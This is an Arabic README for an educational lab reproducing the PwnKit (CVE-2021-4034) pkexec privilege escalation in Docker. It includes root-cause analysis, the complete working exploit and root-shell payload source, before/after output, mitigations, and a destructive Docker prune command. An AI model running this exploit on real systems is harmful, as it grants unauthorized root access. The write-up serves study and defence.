CVE-2021-4034 (PwnKit) - إثبات المفهوم لتصعيد الامتيازات المحلية

🔗 المشروع الأصلي: berdav/CVE-2021-4034
هذا المشروع هو نسخة معدلة ومحللة بناءً على الأصل لأغراض تعليمية.
وفقًا لرخصة MIT | مهمة تعليمية من مدرسة White Hat

📋 نظرة عامة

CVE-2021-4034 هي ثغرة لتصعيد الامتيازات المحلية في policykit-1 (PolicyKit) في لينكس. يمكن للمستخدم العادي تنفيذ pkexec بدون وسائط، مستغلاً ثغرات في بنية ذاكرة العملية، مما يتسبب في إرجاع glib لمرجعية سلاسل متغيرات البيئة التي كان يجب تصفيتها، وبالتالي تحميل ملف .so خبيث للحصول على امتيازات الجذر (root).

⚠️ للاستخدام التعليمي فقط: يجب استخدام هذا الكود فقط على أنظمة معدلة.
قد يؤدي استخدامه في مهاجمة أنظمة حقيقية إلى مسؤولية قانونية.

🎯 ملخص الثغرة

من السهل الاعتقاد أن هذه مشكلة في Ubuntu فقط، ولكن نظرًا لأنها عيب منطقي في pkexec نفسه، فإن معظم توزيعات لينكس التي تستخدم polkit تتأثر. بيئة اختبار Docker كانت Ubuntu 20.04، لذا تم ذكر ذلك في الجدول.

🔴 جوهر الثغرة

عند التحليل الأولي، اعتقدت أن المشكلة ناتجة عن عدم التحقق من متغيرات البيئة، ولكن عند مراجعة الكود المصدري وcommits الخاصة بالتصحيح، تبين أن الترتيب مختلف قليلاً. السبب الحقيقي مختلف، ومشكلة متغيرات البيئة هي نتيجة ثانوية لذلك السبب. فيما يلي ترتيب الأسباب.

1. ما هو pkexec؟

pkexec هو برنامج SUID-root يُستخدم لـ طلب رفع الامتيازات عبر PolicyKit.

# مثال: تنفيذ أمر بصلاحيات الجذر
pkexec /bin/id
pkexec systemctl restart service

يُستخدم عندما يحتاج المستخدم العادي لتنفيذ مهمة معينة بصلاحيات المسؤول.

2. السبب الجذري الحقيقي: pkexec لا يعالج حالة argc == 0

في دالة main() لبرنامج pkexec، عند معالجة وسائط سطر الأوامر، لا يتم التحقق من حالة تنفيذ البرنامج بدون أي وسائط (argc == 0). هذه هي نقطة البداية الحقيقية لهذه الثغرة.

• التنفيذ الطبيعي: argv = {"pkexec", "command", NULL} → argc >= 1
• التنفيذ الهجومي: execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

عندما تكون argc صفرًا، تبقى قائمة argv تحتوي فقط على مؤشر NULL واحد للدلالة على النهاية. ولكن المنطق الداخلي لـ pkexec يحاول القراءة والكتابة إلى argv[1] الغير موجود. المشكلة أن لينكس عند تنفيذ عملية ما، يضع مصفوفة argv ومصفوفة envp (متغيرات البيئة) ملاصقتين جانبًا لبعضهما في الذاكرة. وبالتالي فإن argv[1] خارج النطاق يشير في الواقع إلى envp[0]، أي أول متغير بيئة.

الوضع الطبيعي:  argv = [ "pkexec" | NULL ]
الوضع الهجومي:  argv = [ NULL ]                 ← argc = 0
                    ↑
             الوصول إلى argv[1] غير الموجود
                    ↓
      يؤدي إلى قراءة وكتابة envp[0] الموجود في الذاكرة مباشرةً (out-of-bounds)

لماذا هذا خطير:

• عادةً، يقوم ld.so بإزالة متغيرات البيئة الخطيرة مثل GCONV_PATH وLD_PRELOAD قبل تنفيذ برنامج SUID (pkexec) لأنها غير آمنة.
• ولكن بسبب هذه القراءة/الكتابة خارج النطاق (OOB)، لا يتم "استعادة" السلاسل التي تمت إزالتها كمتغيرات بيئة، بل تصبح مؤشرات argv قادرة مرة أخرى على الإشارة إلى تلك السلاسل. أي أن القيمة لا تُستعاد، ولكن الاتصال المؤشري يُعاد إنشاؤه.
• التصحيح الفعلي أضاف منطقًا للإنهاء الفوري إذا كان argc < 1. (يتوافق مع CWE-125 (قراءة خارج النطاق) و CWE-787 (كتابة خارج النطاق))

📌 باختصار: عدم التحقق من متغيرات البيئة هو "شرط نجاح الهجوم"، والسبب الجذري الحقيقي هو أن pkexec لا يعالج حالة argc == 0. النقطة 3 أدناه هي نتيجة ثانوية لهذا السبب.

3. النتيجة: تصبح السلاسل التي كان يجب تصفيتها قابلة للإشارة إليها مرة أخرى

بسبب سلوك OOB الموصوف في النقطة 2، أثناء تهيئة pkexec لـ glib، يتم استخدام هذه السلاسل بدون تحقق مرة أخرى.

// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // كان يجب على ld.so تصفية هذا
    "CHARSET=PWNKIT",    // ترميز غير موجود
};

execve("/usr/bin/pkexec", args, env);  // argv فارغ لإنشاء argc=0

المشكلة:

• بسبب OOB من النقطة 2، تصبح هذه السلاسل قابلة للإشارة إليها مرة أخرى، وتستمر حتى مرحلة تهيئة glib دون تصفية.
• من وجهة نظر glib، لا توجد طريقة لتمييز ما إذا كانت هذه القيم متغيرات بيئة طبيعية أم معاد تنشيطها من قبل المهاجم.

4. استغلال آلية تحميل المحول (Converter) في glib

النقطة المهمة هنا أن glib نفسه ليس مخطئًا. إذا تم تعيين GCONV_PATH، فمن الطبيعي أن يبحث glib عن المحول (converter) في ذلك المسار - هذا هو السلوك الطبيعي لـ glib. المشكلة تكمن في أن pkexec قد كسر بالفعل حالة التنفيذ الآمن (حيث تمت إزالة متغيرات البيئة الخطيرة) - glib فقط يعمل بشكل طبيعي، ولكن هذا السلوك الطبيعي يُستغل.

1. التحقق من متغير البيئة CHARSET

   root@kitploit:~

   CHARSET=PWNKIT
   

2. البحث عن تعريف المحول في ملف gconv-modules

   root@kitploit:~

   module UTF-8// PWNKIT// pwnkit 1
   

3. تحميل ملف .so من مسار GCONV_PATH

   root@kitploit:~

   GCONV_PATH=. → البحث عن pwnkit.so في الدليل الحالي
   

4. التنفيذ التلقائي لدالة التهيئة لملف .so

   root@kitploit:~

   // pwnkit.c - تُنفذ تلقائيًا عند تحميل ملف .so
   void gconv_init(void *step)
   {
       setuid(0);           // الحصول على صلاحيات الجذر
       setgid(0);
       execve("/bin/sh");   // تشغيل شل الجذر!
   }
   

   من السهل تسمية gconv_init بـ "دالة المُنشئ" (constructor function)، ولكن بالمعنى الدقيق، هي تختلف عن __attribute__((constructor)) في لغة C. بشكل دقيق، إنها دالة تهيئة محددة بواجهة وحدة gconv، ويقوم glib باستدعائها صراحةً بعد تحميل ملف .so بواسطة dlopen.

5. تدفق الهجوم الكامل

┌─────────────────────────────────────┐
│ مستخدم عادي (uid=1000)               │
└─────────────────────────────────────┘
          │
          │ 1. تنفيذ pkexec بمصفوفة argv فارغة (argc=0)
          │    + تعيين متغيرات بيئة خبيثة
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ تنفيذ pkexec                         │
│ لا يوجد تحقق من argc → OOB → إعادة الإشارة للسلاسل │
└─────────────────────────────────────┘
          │
          │ 2. glib يعالج بشكل طبيعي
          │    البحث عن ترميز CHARSET=PWNKIT
          │    البحث عن المحول في GCONV_PATH=.
          ↓
┌─────────────────────────────────────┐
│ تحميل pwnkit.so                      │
│ (ملف .so الخبيث في الدليل الحالي)     │
└─────────────────────────────────────┘
          │
          │ 3. تنفيذ دالة تهيئة gconv تلقائيًا (بصلاحيات الجذر!)
          ↓
┌─────────────────────────────────────┐
│ الحصول على شل الجذر ✅                │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 بداية سريعة

المتطلبات الأساسية

• Docker (أو Docker Desktop)
• git
• بيئة لينكس (أو WSL 2)

أوامر التنفيذ

# 1. تحميل المشروع
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. التحقق من أحدث إصدار
git pull origin main

# 3. البناء (بدون استخدام cache)
docker compose build --no-cache

# 4. التنفيذ
docker compose up

يُوصى باستخدام docker system prune -a --volumes --force فقط إذا لم تعمل الطريقة أعلاه بسبب مشاكل في cache أو volume. هذا الأمر عدواني إلى حد ما، حيث يمسح كل Docker cache في النظام وقد يؤدي إلى فقدان cache مشاريع أخرى. تم توثيق المشكلات التي واجهتها وطرق حلها أدناه في قسم "المشكلات التي واجهتها وطرق حلها".

النتيجة المتوقعة

pwnkit  | الصلاحيات الحالية (قبل الهجوم): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← نجاح! ✅

النتيجة الفعلية

📁 هيكل المشروع

WHS4_CVE-2021-4034/
├── docker-compose.yml          # إعداد Docker Compose
├── Dockerfile                   # بيئة Ubuntu 20.04 المعرضة للخطر
├── start.sh                     # تهيئة الحاوية وتنفيذ تلقائي
├── Makefile                     # إعدادات البناء
├── CVE-2021-4034_exploit.c      # كود الاستغلال (استدعاء pkexec)
├── pwnkit.c                     # ملف .so خبيث (تصعيد الامتيازات)
├── gconv-modules                # تعيين محول glib
├── README.md                    # هذا الملف
└── LICENSE                      # رخصة MIT

💻 تحليل كود إثبات المفهوم (PoC)

CVE-2021-4034_exploit.c

#include <unistd.h>

int main(int argc, char *argv[])
{
    // عدم تحديد برنامج لتنفيذه بواسطة pkexec
    // (تحتوي args فقط على NULL) → هذا ما يجعل argc=0
    char * const args[] = {
        NULL
    };

    // 🔴 متغيرات بيئة خبيثة غير مدققة
    // بفضل OOB الناتج عن argc=0، تصبح قابلة للإشارة إليها مرة أخرى وتنتقل مباشرة إلى pkexec
    char * const env[] = {
        "GCONV_PATH=.",          // مسار المحول (الدليل الحالي)
        "CHARSET=PWNKIT",        // ترميز غير موجود
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // تنفيذ pkexec (بدون وسائط → يؤدي إلى argc=0)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

الجوهر:

• لم يتم تضمين اسم pkexec نفسه في args، مما يجعل argc يساوي 0 → تشغيل السبب الجذري (عدم التحقق من argc)
• GCONV_PATH=. : بعد أن أصبحت قابلة للإشارة إليها مرة أخرى بفضل OOB، يبحث glib عن المحول في هذا المسار
• CHARSET=PWNKIT : دفع glib للبحث عن محول لهذا الترميز

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// دالة ضرورية لتعريف ملف .so كمحول (شكلية)
void gconv()
{
}

// 🎯 جوهر CVE-2021-4034
// دالة تهيئة يستدعيها glib صراحةً بعد dlopen عند تحميل ملف .so
// يتم تنفيذ هذه الدالة بصلاحيات الجذر! ← جوهر الثغرة!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // تشغيل شل الجذر
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // تعيين صلاحيات الجذر بشكل صريح (بالفعل هو جذر)
    setuid(0);
    setgid(0);

    // تشغيل شل الجذر ← نجاح تصعيد الامتيازات!
    execve(args[0], args, env);

    exit(0);
}

الجوهر:

• gconv_init() ليست دالة constructor بـ attribute((constructor))، بل هي دالة تهيئة وفقًا لمواصفات واجهة وحدة gconv، حيث يستدعيها glib مباشرةً بعد dlopen.
• يتم تنفيذ pkexec بصلاحيات الجذر، وبالتالي يتم تنفيذ هذه الدالة أيضًا بصلاحيات الجذر.
• لذلك، بعد تنفيذ setuid(0) ثم شل، يتم الحصول على شل الجذر مباشرةً.

✅ نتائج التحقق

نتائج التحقق التالية مبنية على تطبيق البيئة يدويًا وتنفيذ الاستغلال بنفسي. أي أن التنفيذ السريع لن يعطي النتائج أدناه.

إذا كنت ترغب في الحصول على هذه النتائج، يجب بناء البيئة يدويًا باستخدام Dockerfile و start.sh الموجودة في المستودع.

لكن لاحظ أن start.sh و Dockerfile قد تمت أتمتتهما لتتناسب مع تنسيق المهمة، لذلك قد لا تعطي النتائج المرجوة إذا استُخدمت كما هي.

لذلك، يجب تعديل هذه الملفات يدويًا.

قبل الهجوم

$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

الصلاحيات الفعلية قبل الهجوم

هذه اللقطة تُظهر أول مرة نجح فيها الاستغلال، وتظهر صلاحيات المستخدم.

تنفيذ الهجوم

$ ./CVE-2021-4034_exploit

ملاحظة: الاستغلال لا يتطلب sudo. لأن pkexec هو ثنائي SUID-root بالفعل، لذا مجرد صلاحيات المستخدم العادي تكفي للحصول على شل الجذر - وهذا جوهر الثغرة. استخدام sudo -E في بيئة Docker الاختبارية كان فقط لتسهيل التنفيذ عن طريق التأكد من إعداد NOPASSWD، ولا علاقة له بالثغرة نفسها.

بعد الهجوم

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (محتوى لا يراه إلا الجذر)

الصلاحيات الفعلية بعد الهجوم

توضح اللقطة الحصول على صلاحيات الجذر بعد الهجوم.

لمشاهدة الفرق الكامل بين قبل وبعد الهجوم، يُنصح بإلقاء نظرة على الصورة في قسم ### الصلاحيات الفعلية قبل الهجوم أعلاه.

✅ نجاح تصعيد الامتيازات!

📊 مؤشرات التقييم

قابلية إعادة الإنتاج

تم إعادة إنتاج الثغرة بنجاح في بيئة Docker على Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). لم يتم إجراء عدد كبير من الاختبارات المتكررة بعد، لكنني أخطط لإجراء المزيد من الاختبارات على إصدارات مختلفة من النواة والتوزيعات لتأكيد النتائج.

درجة الخطورة: 7.8 / 10.0 (حرجة، وفقًا لـ CVSS 3.1)

• الصلاحيات المطلوبة: ليست هجومًا عن بُعد، بل هجوم محلي. لا يتطلب التحايل على المصادقة عن بُعد. يكفي أن يكون المستخدم مسجلاً دخوله بحساب عادي، ولا يحتاج إلى صلاحيات إضافية للهجوم (Privileges Required: Low). بمعنى آخر، ليس "لا يتطلب مصادقة إطلاقًا"، بل "يتطلب تسجيل الدخول ولكن لا يتطلب صلاحيات إضافية فوق ذلك".
• متجه الهجوم: محلي فقط (Attack Vector: Local) — لا يمكن استغلال هذه الثغرة مباشرة عن بُعد، بل يجب أولاً الحصول على وصول إلى شل محلي.
• نطاق التأثير: النطاق متغير (Scope: Changed). نظرًا لأن pkexec يُنفذ بصلاحيات الجذر عبر PolicyKit، وهو مكون منفصل لإدارة الصلاحيات، فإن استغلال الثغرة يتجاوز منطقة الصلاحيات التي بدأ منها الهجوم (مستخدم عادي) ويؤثر على منطقة صلاحيات أمنية أخرى (الجذر، والنظام بأكمله الذي يديره PolicyKit). لهذا السبب، يُقيَّم النطاق على أنه "متغير" في CVSS.
• عناصر التأثير: السرية والسلامة والتوفر (C/I/A) جميعها عالية (High)
• للمرجع: تفاصيل ناقل CVSS من NVD

🛡️ طرق الدفاع

الاستجابة الفورية

# 1. ترقية التصحيح (مُوصى به)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# التحقق من الإصدار
dpkg -l | grep policykit-1
# يجب أن يكون 0.105-26ubuntu1.1 أو أعلى

تقييد sudo

# تعديل /etc/sudoers (باستخدام sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

تنقية متغيرات البيئة

unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

التصحيح هو الحل الجذري، والطريقتان أعلاه مؤقتتان لحين تطبيق التصحيح. مشكلة التحقق من argc نفسها تتطلب تعديل كود pkexec، لذلك لا يمكن حلها بالكامل بمجرد حظر متغيرات البيئة.

⚠️ المشكلات التي واجهتها وطرق حلها

المشكلة 1: لم يتم العثور على الأمر docker-compose

السبب: Ubuntu 24.04 لا يتضمن docker-compose (الإصدار 1)، بل docker compose (الإصدار 2)

الحل:

# استخدام أمر docker compose (الإصدار 2)
docker compose up

المشكلة 2: "طلب كلمة المرور: sudo password for WHS4_student"

السبب: إعداد NOPASSWD في Dockerfile لم يُطبق بشكل صحيح (مشكلة cache في Docker)

الحل:

docker compose build --no-cache
docker compose up

إذا استمرت المشكلة، امسح cache بالكامل وحاول مرة أخرى.

docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

المشكلة 3: تحديثات GitHub لا تنعكس محليًا

السبب: بقاء الملفات المحلية على الإصدار القديم

الحل:

# سحب أحدث إصدار من GitHub
git pull origin main

# التحقق من الملفات
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# إعادة البناء
docker compose up --build --no-cache

المشكلة 4: "اسم الحاوية مستخدم بالفعل"

السبب: وجود حاوية سابقة

الحل:

# إزالة الحاوية
docker compose down
docker rm pwnkit -f

# إعادة التشغيل
docker compose up

المشكلة 5: "الرفض بسبب الصلاحيات" (صلاحيات الملف)

السبب: صلاحيات الملفات التي تم إنشاؤها في Docker هي للمستخدم root

الحل:

# في WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034

📚 المراجع والمصادر

المشروع الأصلي

• المؤلف: berdav
• المستودع: https://github.com/berdav/CVE-2021-4034
• الرخصة: رخصة MIT
• الأجزاء التي تم الرجوع إليها:
  • الهيكل الأساسي لـ CVE-2021-4034_exploit.c
  • تنفيذ gconv_init في pwnkit.c
  • تنسيق ملف gconv-modules
  • طريقة بناء Makefile

التعديلات والإضافات في هذا المشروع

المؤلف: krleejihyeong

الأجزاء الجديدة/المعدلة:

• ✅ docker-compose.yml: تكوين بيئة تنفيذ Docker
• ✅ Dockerfile: تكوين تلقائي للبيئة المعرضة للخطر (dbus، polkitd، إعداد NOPASSWD)
• ✅ start.sh: سكريبت تنفيذ تلقائي (أتمتة كاملة من البناء إلى تنفيذ الهجوم)
• ✅ README.md: تحليل السبب الجذري للثغرة (عدم التحقق من argc)، نتائج إعادة الإنتاج، تقييم الخطورة، دليل حل المشكلات
• ✅ التعليقات والشروحات باللغة العربية: تحسين فهم الثغرة

المراجع

• تحليل مفصل من Qualys لـ CVE-2021-4034
• NVD: CVE-2021-4034
• وثائق PolicyKit الرسمية

📄 الرخصة

هذا المشروع مرخص بموجب رخصة MIT.

Copyright (c) 2026 krleejihyeong (تعديل وتحليل)
Copyright (c) 2021 berdav (إثبات المفهوم الأصلي)

يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة
من هذا البرنامج وملفات الوثائق المرتبطة به ("البرنامج")، للتعامل
في البرنامج دون قيود، بما في ذلك على سبيل المثال لا الحصر حقوق
استخدام ونسخ وتعديل ودمج ونشر وتوزيع و/أو بيع
نسخ من البرنامج، والسماح للأشخاص الذين يتم تزويدهم بالبرنامج
بالقيام بذلك، مع مراعاة الشروط التالية:

يجب تضمين إشعار حقوق النشر أعلاه وإذن الإذن هذا في جميع
النسخ أو الأجزاء الجوهرية من البرنامج.

يتم توفير البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو
ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق،
الملاءمة لغرض معين وعدم الانتهاك.

للحصول على التفاصيل الكاملة، راجع ملف LICENSE.

👤 المؤلفون

• krleejihyeong - التحليل، التعديل، تكوين بيئة Docker، كتابة الوثائق
• berdav - كتابة إثبات المفهوم الأصلي (https://github.com/berdav/CVE-2021-4034)

⚠️ إخلاء مسؤولية قانوني

تم إنشاء هذا المشروع لأغراض تعليمية بحتة فقط.

• ✅ يستهدف CVE معلنًا
• ✅ يُختبر فقط على أنظمة مُصحَّحة
• ✅ يُستخدم بإذن من مسؤول النظام
• ✅ بهدف فهم الثغرة وتعزيز الدفاع

يمكن أن يؤدي الوصول غير المصرح به إلى أنظمة الكمبيوتر إلى عقوبات قانونية.

آخر تحديث: يوليو 2026